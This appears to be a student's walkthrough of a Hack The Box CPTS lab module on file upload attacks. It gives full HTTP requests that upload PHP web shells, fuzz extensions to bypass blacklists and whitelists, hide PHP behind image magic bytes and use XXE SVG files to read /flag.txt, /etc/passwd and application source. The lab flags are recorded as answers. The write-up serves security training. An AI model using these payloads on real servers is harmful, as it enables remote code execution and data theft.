CPTS labs - 20 File Upload Attacks
Module: File Upload Attacks
Basic Exploitation
Try to upload a PHP script that executes the (hostname) command on the back-end server, and submit the first word of it as the answer.
| POST /upload.php HTTP/1.1
Host: 94.237.63.92:38864
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------18535087517895885263051426166
Content-Length: 461
Origin: http://94.237.63.92:38864
Connection: keep-alive
Referer: http://94.237.63.92:38864/
-----------------------------18535087517895885263051426166
Content-Disposition: form-data; name="host.php"
<?php
// Execute the 'hostname' command
$output = shell_exec('hostname');
// Check if the command was successfully executed
if ($output) {
echo "The hostname of the server is: " . htmlspecialchars(trim($output));
} else {
echo "Failed to retrieve the hostname.";
}
?>
-----------------------------18535087517895885263051426166--
|
Output:
| The hostname of the server is: ng-644144-fileuploadsabsentverification-xq5pf-6bfdbfd764-4b6pn
|
Results: ng-644144-fileuploadsabsentverification-xq5pf-6bfdbfd764-4b6pn
Try to exploit the upload feature to upload a web shell and get the content of /flag.txt
Results: HTB{g07_my_f1r57_w3b_5h3ll}
Bypassing filters
Try to bypass the client-side file type validations in the above exercise, then upload a web shell to read /flag.txt (try both bypass methods for better practice)
We intercept the upload of the profile image and modify body, filename and content-type:
| POST /upload.php HTTP/1.1
Host: 94.237.54.116:46941
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------8358254841159036176616308288
Content-Length: 516
Origin: http://94.237.54.116:46941
Connection: keep-alive
Referer: http://94.237.54.116:46941/
-----------------------------8358254841159036176616308288
Content-Disposition: form-data; name="uploadFile"; filename="flag.php"
Content-Type: application/octect-stream
<?php
// Execute the 'hostname' command
$output = shell_exec('cat /flag.txt');
// Check if the command was successfully executed
if ($output) {
echo "The flag.txt is: " . htmlspecialchars(trim($output));
} else {
echo "Failed to retrieve the flag.txt.";
}
?>
-----------------------------8358254841159036176616308288--
|
Then we retrieve the file:
Results: HTB{cl13n7_51d3_v4l1d4710n_w0n7_570p_m3}
Try to find an extension that is not blacklisted and can execute PHP code on the web server, and use it to read "/flag.txt"
We fuzz the upload feature with the following extensions:
| .jpeg.php
.jpg.php
.png.php
.php
.php3
.php4
.php5
.php7
.php8
.pht
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.gif
.php\x00.gif
.php%00.png
.php\x00.png
.php%00.jpg
.php\x00.jpg
|
This would be the request:
| POST /upload.php HTTP/1.1
Host: 94.237.54.116:43522
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------8358254841159036176616308288
Content-Length: 268
Origin: http://94.237.54.116:46941
Connection: keep-alive
Referer: http://94.237.54.116:46941/
-----------------------------8358254841159036176616308288
Content-Disposition: form-data; name="uploadFile"; filename="shellyFUZZ"
Content-Type: application/octect-stream
<?php system($_GET['cmd']);?>
-----------------------------8358254841159036176616308288--
|
Then we can execute it via the .phar
extension:
| GET /profile_images/lele.phar?cmd=cat+/flag.txt HTTP/1.1
Host: 94.237.54.116:43522
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://94.237.54.116:43522/
|
Results: HTB{1_c4n_n3v3r_b3_bl4ckl1573d}
The above exercise employs a blacklist and a whitelist test to block unwanted extensions and only allow image extensions. Try to bypass both to upload a PHP script and execute code to read "/flag.txt"
After fuzzing the extensions that are allowed, we find this one:
| POST /upload.php HTTP/1.1
Host: 94.237.54.42:46231
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------49468538321605629321367720460
Content-Length: 276
Origin: http://94.237.54.116:43522
Connection: keep-alive
Referer: http://94.237.54.116:43522/
-----------------------------49468538321605629321367720460
Content-Disposition: form-data; name="uploadFile"; filename="service.phar.png"
Content-Type: application/octect-stream
<?php system($_GET['cmd']);?>
-----------------------------49468538321605629321367720460--
|
Now we can execute the shell from the browser:
| http://94.237.54.42:46231/profile_images/service.phar.png?cmd=cat+/flag.txt
|
Results: HTB{1_wh173l157_my53lf}
The above server employs Client-Side, Blacklist, Whitelist, Content-Type, and MIME-Type filters to ensure the uploaded file is an image. Try to combine all of the attacks you learned so far to bypass these filters and upload a PHP file and read the flag at "/flag.txt"
There are several filters in place: blacklisting, whitelisting and magic number. After submitting a real image and playing around, we find the following valid request:
| POST /upload.php HTTP/1.1
Host: 94.237.55.28:30732
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------363913493316563598061512274268
Content-Length: 344
Origin: http://94.237.55.28:30732
Connection: keep-alive
Referer: http://94.237.55.28:30732/
-----------------------------363913493316563598061512274268
Content-Disposition: form-data; name="uploadFile"; filename="mala.gif.phar"
Content-Type: image/jpeg
ÿØÿà JFIF ` ` ÿþ ;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 75
<?php system($_GET['cmd']);?>
-----------------------------363913493316563598061512274268--
|
Then, for triggering the execution, we run in the browser:
| http://94.237.55.28:30732/profile_images/mala.gif.phar?cmd=cat%20/flag.txt
|
The output will contain the magic number and the result of the shell command.
Results: HTB{m461c4l_c0n73n7_3xpl0174710n}
Other Upload Attacks
The above exercise contains an upload functionality that should be secure against arbitrary file uploads. Try to exploit it using one of the attacks shown in this section to read "/flag.txt"
As only svg files are allowed we will upload the following svg file vulnerable to XXE:
| POST /upload.php HTTP/1.1
Host: 94.237.59.180:33976
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------231055308642263431613572836965
Content-Length: 1687
Origin: http://94.237.59.180:33976
Connection: keep-alive
Referer: http://94.237.59.180:33976/
-----------------------------231055308642263431613572836965
Content-Disposition: form-data; name="uploadFile"; filename="icon2.svg"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///flag.txt'>]><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" height="150px" preserveAspectRatio="xMidYMid meet" role="img" viewBox="0 0 24 24" width="150px"><path d="M11.996 0a1.119 1.119 0 0 0-.057.003a.9.9 0 0 0-.236.05a.907.907 0 0 0-.165.079L1.936 5.675a.889.889 0 0 0-.445.77V17.556a.889.889 0 0 0 .47.784l9.598 5.541l.054.029v.002a.857.857 0 0 0 .083.035l.012.004c.028.01.056.018.085.024c.01.001.011.003.016.004a.93.93 0 0 0 .296.015a.683.683 0 0 0 .086-.015c.01 0 .011-.002.016-.004a.94.94 0 0 0 .085-.024l.012-.004a.882.882 0 0 0 .083-.035v-.002a1.086 1.086 0 0 0 .054-.029l9.599-5.541a.889.889 0 0 0 .469-.784V6.48l-.001-.026v-.008a.889.889 0 0 0-.312-.676l-.029-.024c0-.002-.01-.005-.01-.007a.899.899 0 0 0-.107-.07L12.453.127A.887.887 0 0 0 11.99 0zm.01 2.253c.072 0 .144.019.209.056l6.537 3.774a.418.418 0 0 1 0 .724l-6.537 3.774a.418.418 0 0 1-.418 0L5.26 6.807a.418.418 0 0 1 0-.724l6.537-3.774a.42.42 0 0 1 .209-.056zm-8.08 6.458a.414.414 0 0 1 .215.057l6.524 3.766a.417.417 0 0 1 .208.361v7.533a.417.417 0 0 1-.626.361l-6.523-3.766a.417.417 0 0 1-.209-.362V9.13c0-.241.196-.414.41-.418zm16.16 0c.215.004.41.177.41.418v7.532c0 .15-.08.287-.208.362l-6.524 3.766a.417.417 0 0 1-.626-.361v-7.533c0-.149.08-.286.209-.36l6.523-3.767a.415.415 0 0 1 .216-.057z" fill="#91F108"><item>&test;</item></path></svg>
-----------------------------231055308642263431613572836965--
|
Then, look at the source code when uploading the site and you will see the flag.txt file printed:
Results: HTB{my_1m4635_4r3_l37h4l}
Try to read the source code of 'upload.php' to identify the uploads directory, and use its name as the answer. (write it exactly as found in the source, without quotes)
As retrieving a php file will get the execution of that php file within the application, and therefor it will crash it, we will conduct a XXE attack with a php wrapper that base64 encodes the result. So we upload the following file:
| POST /upload.php HTTP/1.1
Host: 94.237.59.180:33976
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------231055308642263431613572836965
Content-Length: 1740
Origin: http://94.237.59.180:33976
Connection: keep-alive
Referer: http://94.237.59.180:33976/
-----------------------------231055308642263431613572836965
Content-Disposition: form-data; name="uploadFile"; filename="iconic.svg"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=/var/www/html/upload.php'>]><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" height="150px" preserveAspectRatio="xMidYMid meet" role="img" viewBox="0 0 24 24" width="150px"><path d="M11.996 0a1.119 1.119 0 0 0-.057.003a.9.9 0 0 0-.236.05a.907.907 0 0 0-.165.079L1.936 5.675a.889.889 0 0 0-.445.77V17.556a.889.889 0 0 0 .47.784l9.598 5.541l.054.029v.002a.857.857 0 0 0 .083.035l.012.004c.028.01.056.018.085.024c.01.001.011.003.016.004a.93.93 0 0 0 .296.015a.683.683 0 0 0 .086-.015c.01 0 .011-.002.016-.004a.94.94 0 0 0 .085-.024l.012-.004a.882.882 0 0 0 .083-.035v-.002a1.086 1.086 0 0 0 .054-.029l9.599-5.541a.889.889 0 0 0 .469-.784V6.48l-.001-.026v-.008a.889.889 0 0 0-.312-.676l-.029-.024c0-.002-.01-.005-.01-.007a.899.899 0 0 0-.107-.07L12.453.127A.887.887 0 0 0 11.99 0zm.01 2.253c.072 0 .144.019.209.056l6.537 3.774a.418.418 0 0 1 0 .724l-6.537 3.774a.418.418 0 0 1-.418 0L5.26 6.807a.418.418 0 0 1 0-.724l6.537-3.774a.42.42 0 0 1 .209-.056zm-8.08 6.458a.414.414 0 0 1 .215.057l6.524 3.766a.417.417 0 0 1 .208.361v7.533a.417.417 0 0 1-.626.361l-6.523-3.766a.417.417 0 0 1-.209-.362V9.13c0-.241.196-.414.41-.418zm16.16 0c.215.004.41.177.41.418v7.532c0 .15-.08.287-.208.362l-6.524 3.766a.417.417 0 0 1-.626-.361v-7.533c0-.149.08-.286.209-.36l6.523-3.767a.415.415 0 0 1 .216-.057z" fill="#91F108"><item>&test;</item></path></svg>
-----------------------------231055308642263431613572836965--
|
When accessing to the website we can see the upload.php file encoded in base64:
After decoding it, we can submit the response.
Results: ./images/
Skills Assessment
ou are contracted to perform a penetration test for a company's e-commerce web application. The web application is in its early stages, so you will only be testing any file upload forms you can find.
Try to utilize what you learned in this module to understand how the upload form works and how to bypass various validations in place (if any) to gain remote code execution on the back-end server.
Try to exploit the upload form to read the flag found at the root directory "/".
The application is vulnerable to XXE injection via file upload.
The payload:
| POST /contact/upload.php HTTP/1.1
Host: 94.237.59.180:53773
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------405345013911890819222035469107
Content-Length: 1728
Origin: http://94.237.59.180:53773
Connection: keep-alive
Referer: http://94.237.59.180:53773/contact/
-----------------------------405345013911890819222035469107
Content-Disposition: form-data; name="uploadFile"; filename="lala.svg"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=/etc/passwd'>]><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" height="150px" preserveAspectRatio="xMidYMid meet" role="img" viewBox="0 0 24 24" width="150px"><path d="M11.996 0a1.119 1.119 0 0 0-.057.003a.9.9 0 0 0-.236.05a.907.907 0 0 0-.165.079L1.936 5.675a.889.889 0 0 0-.445.77V17.556a.889.889 0 0 0 .47.784l9.598 5.541l.054.029v.002a.857.857 0 0 0 .083.035l.012.004c.028.01.056.018.085.024c.01.001.011.003.016.004a.93.93 0 0 0 .296.015a.683.683 0 0 0 .086-.015c.01 0 .011-.002.016-.004a.94.94 0 0 0 .085-.024l.012-.004a.882.882 0 0 0 .083-.035v-.002a1.086 1.086 0 0 0 .054-.029l9.599-5.541a.889.889 0 0 0 .469-.784V6.48l-.001-.026v-.008a.889.889 0 0 0-.312-.676l-.029-.024c0-.002-.01-.005-.01-.007a.899.899 0 0 0-.107-.07L12.453.127A.887.887 0 0 0 11.99 0zm.01 2.253c.072 0 .144.019.209.056l6.537 3.774a.418.418 0 0 1 0 .724l-6.537 3.774a.418.418 0 0 1-.418 0L5.26 6.807a.418.418 0 0 1 0-.724l6.537-3.774a.42.42 0 0 1 .209-.056zm-8.08 6.458a.414.414 0 0 1 .215.057l6.524 3.766a.417.417 0 0 1 .208.361v7.533a.417.417 0 0 1-.626.361l-6.523-3.766a.417.417 0 0 1-.209-.362V9.13c0-.241.196-.414.41-.418zm16.16 0c.215.004.41.177.41.418v7.532c0 .15-.08.287-.208.362l-6.524 3.766a.417.417 0 0 1-.626-.361v-7.533c0-.149.08-.286.209-.36l6.523-3.767a.415.415 0 0 1 .216-.057z" fill="#91F108"><item>&test;</item></path></svg>
-----------------------------405345013911890819222035469107--
|
With this we can retrieve the /contact/upload.php and check out the target folder for storing the image:
| <?php
require_once('./common-functions.php');
// uploaded files directory
$target_dir = "./user_feedback_submissions/";
// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;
// get content headers
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);
// blacklist test
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
echo "Extension not allowed";
die();
}
// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
echo "Only images are allowed";
die();
}
// type test
foreach (array($contentType, $MIMEtype) as $type) {
if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
echo "Only images are allowed";
die();
}
}
// size test
if ($_FILES["uploadFile"]["size"] > 500000) {
echo "File too large";
die();
}
if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
displayHTMLImage($target_file);
} else {
echo "File failed to upload";
}
|
We can learn several things:
- target folder: /contact/user_feedback_submissions/
- Blacklist for PHP extensions (
.php
, .phps
, .phtml
).
- The whitelist regex
/^.+\.[a-z]{2,3}g$/
forces the extension to end with g
, meaning it allows: .jpg
, .png
, .svg
.
- MIME type validation, requiring
image/*
.
- File size restriction, limiting uploads to 500 KB.
- The uploaded file will be stored with a name based on the current date in the format
YYMMDD_filename
.
Finally, the file is retrieved with the function displayHTMLImage($target_file);
, which is located in the file required at the beginning of the script:
| <?php
require_once('./common-functions.php');
|
The file:
| <?php
function displayHTMLImage($imageFile)
{
$type = mime_content_type($imageFile);
switch ($type) {
case 'image/jpg':
echo "<img style=\"object-fit: contain; \" width='400' height='200' src='data:image/jpg;base64," . base64_encode(file_get_contents($imageFile)) . "'/>";
break;
case 'image/jpeg':
echo "<img style=\"object-fit: contain; \" width='400' height='200' src='data:image/jpeg;base64," . base64_encode(file_get_contents($imageFile)) . "'/>";
break;
case 'image/png':
echo "<img style=\"object-fit: contain; \" width='400' height='200' src='data:image/png;base64," . base64_encode(file_get_contents($imageFile)) . "'/>";
break;
case 'image/gif':
echo "<img style=\"object-fit: contain; \" width='400' height='200' src='data:image/gif;base64," . base64_encode(file_get_contents($imageFile)) . "'/>";
break;
case 'image/svg+xml':
libxml_disable_entity_loader(false);
$doc = new DOMDocument();
$doc->loadXML(file_get_contents($imageFile), LIBXML_NOENT | LIBXML_DTDLOAD);
$svg = $doc->getElementsByTagName('svg');
echo $svg->item(0)->C14N();
break;
default:
echo "Image type not recognized";
}
}
|
Now we will try to bypass these restriction by intercepting the request, leaving the magic numbers as they are, removing the rest of the image, and modifying the name of the file to include a the double extension lol.phar.jpg
.
| POST /contact/upload.php HTTP/1.1
Host: 94.237.54.42:30291
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------407265977125623495441533709488
Content-Length: 509
Origin: http://94.237.54.42:30291
Connection: keep-alive
Referer: http://94.237.54.42:30291/contact/
Cookie: uid=96
-----------------------------407265977125623495441533709488
Content-Disposition: form-data; name="uploadFile"; filename="lol.phar.jpg"
Content-Type: image/jpeg
ÿØÿà JFIF ÿá ¼Exif II* V ^ ( i f H H 0210 0100 ÿÿ ° £ ÿÛ C
<?php system($_GET['cmd']); ?>
-----------------------------407265977125623495441533709488--
|
Now, we just need to execute the shell in the browser:
| http://94.237.54.42:30291/contact/user_feedback_submissions/250129_lol.phar.jpg?cmd=ls%20/
http://94.237.54.42:30291/contact/user_feedback_submissions/250129_lol.phar.jpg?cmd=cat%20/flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt
|
Results: HTB{m4573r1ng_upl04d_3xpl0174710n}
Last update: 2025-01-29
Created: January 26, 2025 19:15:53